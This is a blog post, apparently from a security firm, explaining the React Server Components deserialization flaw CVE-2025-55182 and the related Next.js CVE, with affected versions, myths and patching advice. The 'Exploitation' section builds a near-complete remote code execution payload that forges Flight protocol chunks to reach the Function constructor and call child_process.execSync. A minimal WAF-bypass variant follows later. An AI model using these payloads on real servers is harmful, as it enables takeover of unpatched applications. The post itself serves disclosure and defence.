Randy
Dec 30, 2025

What is CVE?
Then What is CVE-2025-55182 and CVE-2025-66478?
CVE-2025-55182 (React Server Components - Unsafe Deserialization)
Background
Vulnerability
Exploitation
How the Public POC Works
IMPACT
CVE-2025-66478 (Next.js Server Component RCE)
Clearing up misinformation
Conclusion
Tags:
CVE stands for Common Vulnerabilities and Exposures. It is an international, community-based list or dictionary of publicly known cybersecurity vulnerabilities in software and firmware. The primary goal of the CVE program is to provide a standardized naming convention (CVE Identifiers or CVE IDs) for these flaws, which allows security professionals, vendors, and researchers to communicate and share information about specific threats using a common language.

The two CVEs above are vulnerabilities in React.js CVE-2025-55182 and Next.js CVE-2025-66478. In this article, we'll briefly discuss these two vulnerabilities, as they're currently hotly discussed among security professionals.
On November 29, 2025, a security professional named Lachlan Davidson reported a security vulnerability in React that allows remote code execution (RCE) and is zero-interaction and can be exploited remotely without requiring any credentials.
CVSS Score: 10.0/10.0 - Highest scoring in CVSS
Attack Vector: Network - Can be exploited via internet
Attack Complexity: Low - Easy to exploit
Privileges Required: None - Doesn't need authentication
User Interaction: None - Doesn't need user interaction which means this attack is fully automated
Impact: Complete system compromise - Remote Code Execution (RCE) with root access
A remote code execution (RCE) vulnerability in React Server Component has recently shaken the industry. This vulnerability, rated critical, allows malicious actors to execute remote code by exploiting insecure input deserialization in React Server Component (RSC).
The problem lies in how the server receives and processes data from the user. The received data is immediately deserialized without any validation. RSC relies on a special object called a Chunk. This Chunk represents the piece of data React expects to receive within the Flight protocol.
React uses something called the React Flight Protocol2 for serialization of values passed to Server Functions.
files = {
"0": (None, ["$1"]),
"1": (None, {"object": "snack", "name": "$2:oreo"}),
"2": (None, {"snackName": "oreo"}),
}The above payload deserializes to the following on the server:
{ object: snack, name: 'oreo' }The root issue is unsafe deserialization. RSC relies on special internal objects called Chunks. They represent pieces of data that React expects to receive within the Flight protocol. During normal operation, React resolves these Chunks as Promises https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise inside its request parsing logic.
When traversing chunks in reference resolving, such as getting the snackName from chunk 2 in the above example, React didn't verify whether the requested key was actually set on the object. This allowed us to get the object prototype.
This can be demonstrated with a payload like this:
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}Since we can trivially retrieve the Function constructor, the straightforward way is to find a call gadget that invokes the constructor with a user-controlled value (i.e., the code of the function as a string) and later calls the returned function.
There are multiple places that can call the function constructor, for example resolveServerReference, where id is a controlled object, and lastIndexOf can be overwritten to return a user-controlled string (e.g. via Array.prototype.join) and slice can be overwritten to the function constructor. However, this place doesn't work as the second invocation of. slice() supplies a number as the first argument, which -to my best knowledge- can never be handled by the function constructor.
We can reference the crafted chunk 0 in chunk 1 by using the $@ syntax, which returns the "raw" chunk, not it's resolved value :
case "@" :
return(
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);Combining this with our then overwrite from above, we can craft something like this :
files = {
"0": (None, '{"then": "$1:__proto__:then"}'),
"1": (None, '"$@0"'),
}There is a call gadget in the handling of blob data with the $B prefix in the flight protocol :
case "B" :
return(
(obj = parseInt(value.slice(2), 16)),
response._formData.get(response._prefix + obj)
);Using the special _response field, we control the response property of the crafted chunk :
// in initializeModelChunk
value = reviveModel(chunk._response, // ...With this, we can craft an object with fake ._formData and ._prefix properties :
a crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"return foo; // ",
"_formData": {
"get": "$1:constructor:constructor",
}
}By pointing ._formData to the function constructor, and ._prefix to our code, we get an invocation gadget for the function constructor in the blob deserialization:
response._formData.get(response._prefix + "0")
//becomes
Function("return foo; // 0")Our crafted function is then returned by parseModelString as the .then() method of the crafted chunk, which is also awaited, since all of this takes place in a single promise resolving chain. Thus, returning a thenable, our crafted function gets called. This constitutes the required call gadget referenced above.
Putting this all together with an actual RCE payload, we get something like this :
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync(payloadtoexecutehere);",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}The bonus, which makes this vulnerability even worse, is that all of this happens during deserialization, before the requested action is first validated in getActionModIdOrError. Thus, setting a header like Next-Action: foo is sufficient to trigger the vulnerability.
This chain works because the RSC never confirms that the incoming structure is genuine. It assumes the client will never send anything malicious. The attacker only needs to send an HTTP POST request to the RSC endpoint. No account, API key, CSRF token, or session is required.
To verify the code execution, we can use the example proof of concept below. The payload will execute system command id and show the output in http response:

The proofs of concept published by several researchers on internet uses the following sequence of ideas :
1.
The attacker submits a Flight payload containing a crafted object that looks like a Chunk.
2.
The fake Chunk defines a custom then method.
3.
When React deserializes the payload, its internal machinery attempts to resolve the Chunk as a promise.
4.
Promise resolution causes React to call the attacker-controlled then method.
5.
That handler gives the attacker control over internal parsing state, including the _response object.
6.
The attacker modifies that object so that React later calls server-side functions chosen by the attacker.
7.
Those functions become the RCE path.
8.
The final result is arbitrary JavaScript execution inside the server process.

This vulnerability affects any environment that uses the affected React Server Components packages (versions 19.0, 19.1.0, 19.1.1, and 19.2.0). That includes apps that do not explicitly define server functions. Many frameworks include these packages indirectly, which means a large number of deployments may be affected without developers realizing they were using the vulnerable components.
Since the exploit is pre-authentication and public exploit code exists, unpatched servers should be treated as potentially compromised. React released fixed versions quickly, but remember that broad ecosystems update slowly! Attackers target components like this because they know at least some fraction of servers will remain unpatched for months.
Any framework or library bundling the react-server implementation is likely affected. This includes, but is not limited to :
Next.js
Vite RSC plugin
Parcel RSC plugin
React Router RSC preview
RedwoodSDK
Waku
This CVE is actually a duplicate of CVE-2025-55182, as it shares the same vulnerability's location or source: the way data is processed or deserialized without validation. Next.js does not include React as a traditional dependency - instead, they bundle it "Vendored". So, if you're using Next.js, many dependency tools do not automatically recognize it as vulnerable.

This section addresses five common misunderstandings we've seen in security teams' assessments of CVE-2025-55182. It's crucial to set the record straight on these misconceptions, because carrying out mitigation responses with misinformation can lead to ineffective defenses or a false sense of security.
| Myth | Reality |
|---|---|
“It’s prototype pollution” | No; attack works without __proto__ |
“Only Next.js is affected” | No; any React Server Components app |
“WAF blocking __proto__ protects us” | No; bypass payloads exist |
“Edge Runtime is vulnerable” | No; Node.js only |
“Patching React is enough” | Partially, also need WAF + monitoring |
It is critical to note that the minimum viable exploit does NOT require __proto__ or prototype in the payload. Simply blacklisting these keywords in a WAF will NOT provide protection.
The maple3142 minimum payload demonstrates this, it uses $1:then:constructor without any __proto__ :
// Source: https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3
{
_formData: { get: "$1:then:constructor" },
then: "$1:then"
}Per the React Security Advisory, the vulnerability is in React's core Flight protocol packages :
react-server-dom-webpack
react-server-dom-turbopack
react-server-dom-parcel
Any framework using React Server Components is potentially affected, including custom implementations.
As demonstrated above, the minimum viable exploit does not require __proto__. We have seen numerous WAF bypassses. Effective WAF rules must block :
$@ chunk references
resolved_model string
constructor:constructor pattern
_formData.get pattern
Per Vercel documentation, the vulnerability requires Node.js runtime. Edge Runtime (Cloudflare Workers, Vercel Edge) uses V8 isolates without access to process, child_process, or Node.js APIs. Applications deployed exclusively to Edge Runtime are not exploitable via this vector.
This misconception is partially correct: while patching React fixes the root cause, organizations should also:
Audit Server Action exposure
Implement rate limiting
Add WAF rules for defense-in-depth
Review logs for historical exploitation
Consider Edge Runtime for sensitive endpoints
Applications using React Server Components with the App Router are affected on the following Next.js versions.
Next.js 15.x
Next.js 16.x
Next.js 14.3.0-canary.77 and later canary releases
react-server-dom-webpack
19.0.0
19.1.0-19.1.1
19.2.0
react-server-dom-parcel
19.0.0
19.1.0-19.1.1
19.2.0
React-server-dom-turbopack
19.0.0
19.1.0 - 19.1.1
19.2.0

CVE-2025-55182 represents a critical shift in the web security landscape. React Server Components’ adoption by major platforms means this vulnerability affects a significant portion of modern web applications. If you are running a production application using React 19 or Next.js 15+, you must assume you are a target. Traditional security perimeters (like simple WAFs) are only temporary shields. The only definitive conclusion is that immediate patching to React 19.2.3 and Next.js 15.5.7+ is a non-negotiable requirement for any internet-facing React application.
© 2025 Tjakrabirawa Teknologi Indonesia. All Rights Reserved.